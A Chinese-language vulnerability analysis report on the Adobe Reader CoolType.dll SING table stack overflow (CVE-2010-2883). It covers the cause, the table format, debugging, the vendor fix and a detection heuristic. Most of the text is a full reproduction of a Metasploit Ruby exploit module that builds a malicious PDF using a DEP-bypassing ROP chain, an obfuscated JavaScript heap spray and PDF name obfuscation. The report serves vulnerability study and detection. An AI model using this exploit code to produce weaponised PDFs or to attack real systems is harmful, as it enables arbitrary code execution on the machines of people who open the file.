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Adobe Reader 缓冲区溢出漏洞 (CVE-2010-2883)漏洞分析报告
2022-01-20 13:44:22

一. 简介

软件名称:Adobe Reader

影响范围:7.0.0-9.3.4版本

影响平台:Windows

漏洞模块:CoolType.dll

威胁等级:高危

漏洞类型:缓冲区溢出

威胁路径:远程

机密性影响:完全的信息泄露导致所有系统文件暴露

完整性影响:系统完整性可被完全破坏

可用性影响:可能导致系统完全宕机

攻击复杂度:漏洞利用存在一定的访问条件

攻击向量:攻击者不需要获取内网访问权或本地访问权

身份认证:漏洞利用无需身份认证

二. 软件介绍

Adobe Reader(也被称为Acrobat Reader)是美国Adobe公司开发的一款优秀的PDF文件阅读软件。文档的撰写者可以向任何人分发自己制作(通过Adobe Acrobat制作)的PDF文档而不用担心被恶意篡改。

三. 漏洞成因

Adobe Reader的CollType.dll中存在基于栈的缓冲区溢出漏洞,远程攻击者可借助带有TTF字体Smart INdependent Glyphlets (SING)表格中超长字段的PDF文件执行任意代码或者导致拒绝服务。

具体成因为Adobe Reader在调用strcat时,没有判断uniqueName字段的字符串长度,直接复制到固定大小的栈空间中,导致溢出。

使用IDA pro直接在CoolType.dll寻找SING表,即可直接观察其溢出漏洞的位置:


四. 漏洞分析

4.1格式分析

4.1.1 TableEntry结构在官方文档中的定义如下:

Typedef struct_SING
{
Char tag[4];   //SING字符串
ULONG checkSum;    //校验和
ULONG offset;  //相对文件偏移
ULONG length;  //数据长度
}

4.1.2 在该样本中,SING表的形态

Char tag[4];    //53 49 4E 47
ULONG checkSum; //D9 BC C8 B5
ULONG offset;  //00 00 01 1C
ULONG length;  //00 00 1D DF

根据上图可以看出,在TableEntry结构入口处偏移0x11c,就是SING表的真实数据,其长度为0x1DDF。然后再偏移0x10就是uniqueName域了。

4.1.3 uniqueName域

在执行strcat函数后,会将SING表的内容部分拷贝至ebp的地址,直到遇到NULL,在我调试时,该地址为0x0012e454,但是该地址并不固定。根据下图,可以看出在exp触发后ebp的地址内所存储的,正是SING表的真实数据。

4.2 漏洞调试

4.2.1利用IDA pro查看溢出函数的位置

4.2.2打开Immunity Debugger附加程序,并且运行至程序领空,转至溢出函数的位置,按下F2设置断点。再用Adobe Reader打开poc.pdf,那么就可以看到程序触发异常停止在了我设置断点的位置上了。

4.2.3可以看出在执行完strcat之后,SING表uniqueName域的数据就已经拷贝到了栈中。

4.2.4 总结一下,如果是xp系统,那么在SING表的uniqueName域内构造shellcode,就可以在触发漏洞后直接执行代码,如果是win7以后的windows版本,则需要rop技术,绕过相关保护.因为PDF支持JavaScript的缘故,故此,我们可以使用heap spray技术,精准的对溢出进行利用。

五. 厂商修复手段

添加了字符串长度的检测和限制,自己模拟了一个安全strcat函数替代原有的strcat函数,该函数限制字符串长度需要小于260个字符,同时根据字符串长度进行动态内存分配。

六. 检测方法

分析文件格式,在Object中定位到SING表后,根据官方文档提供的格式对其进行解析,判断字符串长度,如果长于官方预定的260字节,则可怀疑其在利用CVE-2010-2883进行溢出。

七. Exploit

使用的exploit由Exploit-db下载,使用ruby编写。

##
# $Id: adobe_cooltype_sing.rb 10477 2010-09-25 11:59:02Z mc $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
require 'zlib'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table
                handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are
                assumed to be vulnerable as well.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Unknown',    # 0day found in the wild
                    '@sn0wfl0w',  # initial analysis
                    '@vicheck',   # initial analysis
                    'jduck'       # Metasploit module
                ],
            'Version'        => '$Revision: 10477 $',
            'References'     =>
                [
                    [ 'CVE', '2010-2883' ],
                    [ 'OSVDB', '67849'],
                    [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ],
                    [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC'             => 'process',
                    'InitialAutoRunScript' => 'migrate -f',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00",
                    'DisableNops' => true
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd
                    # Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd
                    [ 'Automatic', { }],
                ],
            'DisclosureDate' => 'Sep 07 2010',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
            ], self.class)
    end
 
    def exploit
        ttf_data = make_ttf()
 
        js_data = make_js(payload.encoded)
 
        # Create the pdf
        pdf = make_pdf(ttf_data, js_data)
 
        print_status("Creating '#{datastore['FILENAME']}' file...")
 
        file_create(pdf)
    end
 
    def make_ttf
        ttf_data = ""
 
        # load the static ttf file
 
        # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
        path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
        fd = File.open( path, "rb" )
        ttf_data = fd.read(fd.stat.size)
        fd.close
 
        # Build the SING table
        sing = ''
        sing << [
            0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
            0xe01,  # glyphletVersion
            0x100,  # embeddingInfo
            0,      # mainGID
            0,      # unitsPerEm
            0,      # vertAdvance
            0x3a00  # vertOrigin
        ].pack('vvvvvvvv')
        # uniqueName
        # "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
        #sing << "A" * (0x254 - sing.length)
        sing << rand_text(0x254 - sing.length)
 
        # 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
        sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')
 
        # This becomes our new EIP (puts esp to stack buffer)
        ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
        sing[0x208, 4] = [ret].pack('V')
 
        # This becomes the new eip after the first return
        ret = 0x4a82a714
        sing[0x18, 4] = [ret].pack('V')
 
        # This becomes the new esp after the first return
        esp = 0x0c0c0c0c
        sing[0x1c, 4] = [esp].pack('V')
 
        # Without the following, sub_801ba57 returns 0.
        sing[0x24c, 4] = [0x6c].pack('V')
 
        ttf_data[0xec, 4] = "SING"
        ttf_data[0x11c, sing.length] = sing
 
        ttf_data
    end
 
    def make_js(encoded_payload)
 
        # The following executes a ret2lib using icucnv36.dll
        # The effect is to bypass DEP and execute the shellcode in an indirect way
        stack_data = [
            0x41414141,   # unused
            0x4a8063a5,   # pop ecx / ret
            0x4a8a0000,   # becomes ecx
 
            0x4a802196,   # mov [ecx],eax / ret # save whatever eax starts as
 
            0x4a801f90,   # pop eax / ret
            0x4a84903c,   # becomes eax (import for CreateFileA)
 
            # -- call CreateFileA
            0x4a80b692,   # jmp [eax]
 
            0x4a801064,   # ret
 
            0x4a8522c8,   # first arg to CreateFileA (lpFileName / pointer to "iso88591")
            0x10000000,   # second arg  - dwDesiredAccess
            0x00000000,   # third arg   - dwShareMode
            0x00000000,   # fourth arg  - lpSecurityAttributes
            0x00000002,   # fifth arg   - dwCreationDisposition
            0x00000102,   # sixth arg   - dwFlagsAndAttributes
            0x00000000,   # seventh arg - hTemplateFile
 
            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx
 
            0x4a842db2,   # xchg eax,edi / ret
 
            0x4a802ab1,   # pop ebx / ret
            0x00000008,   # becomes ebx - offset to modify
 
            #
            # This points at a neat-o block of code that ... TBD
            #
            #   and [esp+ebx*2],edi
            #   jne check_slash
            # ret_one:
            #   mov al,1
            #   ret
            # check_slash:
            #   cmp al,0x2f
            #   je ret_one
            #   cmp al,0x41
            #   jl check_lower
            #   cmp al,0x5a
            #   jle check_ptr
            # check_lower:
            #   cmp al,0x61
            #   jl ret_zero
            #   cmp al,0x7a
            #   jg ret_zero
            #   cmp [ecx+1],0x3a
            #   je ret_one
            # ret_zero:
            #   xor al,al
            #   ret
            #
 
            0x4a80a8a6,   # execute fun block
 
            0x4a801f90,   # pop eax / ret
            0x4a849038,   # becomes eax (import for CreateFileMappingA)
 
            # -- call CreateFileMappingA
            0x4a80b692,   # jmp [eax]
 
            0x4a801064,   # ret
 
            0xffffffff,   # arguments to CreateFileMappingA, hFile
            0x00000000,   # lpAttributes
            0x00000040,   # flProtect
            0x00000000,   # dwMaximumSizeHigh
            0x00010000,   # dwMaximumSizeLow
            0x00000000,   # lpName
 
            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx
 
            0x4a842db2,   # xchg eax,edi / ret
 
            0x4a802ab1,   # pop ebx / ret
            0x00000008,   # becomes ebx - offset to modify
 
            0x4a80a8a6,   # execute fun block
 
            0x4a801f90,   # pop eax / ret
            0x4a849030,   # becomes eax (import for MapViewOfFile
 
            # -- call MapViewOfFile
            0x4a80b692,   # jmp [eax]
 
            0x4a801064,   # ret
 
            0xffffffff,   # args to MapViewOfFile - hFileMappingObject
            0x00000022,   # dwDesiredAccess
            0x00000000,   # dwFileOffsetHigh
            0x00000000,   # dwFileOffsetLow
            0x00010000,   # dwNumberOfBytesToMap
 
            0x4a8063a5,   # pop ecx / ret
            0x4a8a0004,   # becomes ecx - writable pointer
 
            0x4a802196,   # mov [ecx],eax / ret - save map base addr
 
            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx - ptr to ret
 
            0x4a842db2,   # xchg eax,edi / ret
 
            0x4a802ab1,   # pop ebx / ret
            0x00000030,   # becomes ebx - offset to modify
 
            0x4a80a8a6,   # execute fun block
 
            0x4a801f90,   # pop eax / ret
            0x4a8a0004,   # becomes eax - saved file mapping ptr
 
            0x4a80a7d8,   # mov eax,[eax] / ret - load saved mapping ptr
 
            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx - ptr to ret
 
            0x4a842db2,   # xchg eax,edi / ret
 
            0x4a802ab1,   # pop ebx / ret
            0x00000020,   # becomes ebx - offset to modify
 
            0x4a80a8a6,   # execute fun block
 
            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx - ptr to ret
 
            0x4a80aedc,   # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret
 
            0x4a801f90,   # pop eax / ret
            0x00000034,   # becomes eax
 
            0x4a80d585,   # add eax,edx / ret
 
            0x4a8063a5,   # pop ecx / ret
            0x4a801064,   # becomes ecx - ptr to ret
 
            0x4a842db2,   # xchg eax,edi / ret
 
            0x4a802ab1,   # pop ebx / ret
            0x0000000a,   # becomes ebx - offset to modify
 
            0x4a80a8a6,   # execute fun block
 
            0x4a801f90,   # pop eax / ret
            0x4a849170,   # becomes eax (import for memcpy)
 
            # -- call memcpy
            0x4a80b692,   # jmp [eax]
 
            0xffffffff,   # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy
            0xffffffff,   # becomes first arg to memcpy (dst)
            0xffffffff,   # becomes second arg to memcpy (src)
            0x00001000,   # becomes third arg to memcpy (length)
            #0x0000258b,   # ??
            #0x4d4d4a8a,   # ??
        ].pack('V*')
 
        var_unescape  = rand_text_alpha(rand(100) + 1)
        var_shellcode = rand_text_alpha(rand(100) + 1)
 
        var_start     = rand_text_alpha(rand(100) + 1)
 
        var_s         = 0x10000
        var_c         = rand_text_alpha(rand(100) + 1)
        var_b         = rand_text_alpha(rand(100) + 1)
        var_d         = rand_text_alpha(rand(100) + 1)
        var_3         = rand_text_alpha(rand(100) + 1)
        var_i         = rand_text_alpha(rand(100) + 1)
        var_4         = rand_text_alpha(rand(100) + 1)
 
        payload_buf = ''
        payload_buf << stack_data
        payload_buf << encoded_payload
 
        escaped_payload = Rex::Text.to_unescape(payload_buf)
 
        js = %Q|
var #{var_unescape} = unescape;
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
#{var_b} += #{var_shellcode};
#{var_b} += #{var_c};
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
var #{var_4} = new Array();
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|
 
        js
    end
 
    def RandomNonASCIIString(count)
        result = ""
        count.times do
            result << (rand(128) + 128).chr
        end
        result
    end
 
    def ioDef(id)
        "%d 0 obj \n" % id
    end
 
    def ioRef(id)
        "%d 0 R" % id
    end
 
 
    #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
    def nObfu(str)
        #return str
        result = ""
        str.scan(/./u) do |c|
            if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
                result << "#%x" % c.unpack("C*")[0]
            else
                result << c
            end
        end
        result
    end
 
 
    def ASCIIHexWhitespaceEncode(str)
        result = ""
        whitespace = ""
        str.each_byte do |b|
            result << whitespace << "%02x" % b
            whitespace = " " * (rand(3) + 1)
        end
        result << ">"
    end
 
 
    def make_pdf(ttf, js)
 
        #swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
 
        xref = []
        eol = "\n"
        endobj = "endobj" << eol
 
        # Randomize PDF version?
        pdf = "%PDF-1.5" << eol
        pdf << "%" << RandomNonASCIIString(4) << eol
 
        # catalog
        xref << pdf.length
        pdf << ioDef(1) << nObfu("<<") << eol
        pdf << nObfu("/Pages ") << ioRef(2) << eol
        pdf << nObfu("/Type /Catalog") << eol
        pdf << nObfu("/OpenAction ") << ioRef(11) << eol
        # The AcroForm is required to get icucnv36.dll to load
        pdf << nObfu("/AcroForm ") << ioRef(13) << eol
        pdf << nObfu(">>") << eol
        pdf << endobj
 
        # pages array
        xref << pdf.length
        pdf << ioDef(2) << nObfu("<<") << eol
        pdf << nObfu("/MediaBox ") << ioRef(3) << eol
        pdf << nObfu("/Resources ") << ioRef(4) << eol
        pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol
        pdf << nObfu("/Count 1") << eol
        pdf << nObfu("/Type /Pages") << eol
        pdf << nObfu(">>") << eol
        pdf << endobj
 
        # media box
        xref << pdf.length
        pdf << ioDef(3)
        pdf << "[0 0 595 842]" << eol
        pdf << endobj
 
        # resources
        xref << pdf.length
        pdf << ioDef(4)
        pdf << nObfu("<<") << eol
        pdf << nObfu("/Font ") << ioRef(6) << eol
        pdf << ">>" << eol
        pdf << endobj
 
        # page 1
        xref << pdf.length
        pdf << ioDef(5) << nObfu("<<") << eol
        pdf << nObfu("/Parent ") << ioRef(2) << eol
        pdf << nObfu("/MediaBox ") << ioRef(3) << eol
        pdf << nObfu("/Resources ") << ioRef(4) << eol
        pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol
        pdf << nObfu("/Type /Page") << eol
        pdf << nObfu(">>") << eol # end obj dict
        pdf << endobj
 
        # font
        xref << pdf.length
        pdf << ioDef(6) << nObfu("<<") << eol
        pdf << nObfu("/F1 ") << ioRef(7) << eol
        pdf << ">>" << eol
        pdf << endobj
 
        # ttf object
        xref << pdf.length
        pdf << ioDef(7) << nObfu("<<") << eol
        pdf << nObfu("/Type /Font") << eol
        pdf << nObfu("/Subtype /TrueType") << eol
        pdf << nObfu("/Name /F1") << eol
        pdf << nObfu("/BaseFont /Cinema") << eol
        pdf << nObfu("/Widths []") << eol
        pdf << nObfu("/FontDescriptor ") << ioRef(9)
        pdf << nObfu("/Encoding /MacRomanEncoding")
        pdf << nObfu(">>") << eol
        pdf << endobj
 
        # page content
        content = "Hello World!"
        content = "" +
            "0 g" + eol +
            "BT" + eol +
            "/F1 32 Tf" + eol +
            "32 Tc" + eol +
            "1 0 0 1 32 773.872 Tm" + eol +
            "(" + content + ") Tj" + eol +
            "ET"
 
        xref << pdf.length
        pdf << ioDef(8) << "<<" << eol
        pdf << nObfu("/Length %s" % content.length) << eol
        pdf << ">>" << eol
        pdf << "stream" << eol
        pdf << content << eol
        pdf << "endstream" << eol
        pdf << endobj
 
        # font descriptor
        xref << pdf.length
        pdf << ioDef(9) << nObfu("<<")
        pdf << nObfu("/Type/FontDescriptor/FontName/Cinema")
        pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17))
        pdf << nObfu("/FontBBox [-177 -269 1123 866]")
        pdf << nObfu("/FontFile2 ") << ioRef(10)
        pdf << nObfu(">>") << eol
        pdf << endobj
 
        # ttf stream
        xref << pdf.length
        compressed = Zlib::Deflate.deflate(ttf)
        pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol
        pdf << "stream" << eol
        pdf << compressed << eol
        pdf << "endstream" << eol
        pdf << endobj
 
        # js action
        xref << pdf.length
        pdf << ioDef(11) << nObfu("<<")
        pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12)
        pdf << nObfu(">>") << eol
        pdf << endobj
 
        # js stream
        xref << pdf.length
        compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
        pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
        pdf << "stream" << eol
        pdf << compressed << eol
        pdf << "endstream" << eol
        pdf << endobj
 
        ###
        # The following form related data is required to get icucnv36.dll to load
        ###
 
        # form object
        xref << pdf.length
        pdf << ioDef(13)
        pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol
        pdf << endobj
 
        # form stream
        xfa = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
EOF
 
        xref << pdf.length
        pdf << ioDef(14) << nObfu("<</Length %s>>" % xfa.length) << eol
        pdf << "stream" << eol
        pdf << xfa << eol
        pdf << "endstream" << eol
        pdf << endobj
 
        ###
        # end form stuff for icucnv36.dll
        ###
 
 
        # trailing stuff
        xrefPosition = pdf.length
        pdf << "xref" << eol
        pdf << "0 %d" % (xref.length + 1) << eol
        pdf << "0000000000 65535 f" << eol
        xref.each do |index|
            pdf << "%010d 00000 n" % index << eol
        end
 
        pdf << "trailer" << eol
        pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
 
        pdf << "startxref" << eol
        pdf << xrefPosition.to_s() << eol
 
        pdf << "%%EOF" << eol
        pdf
    end
 
end

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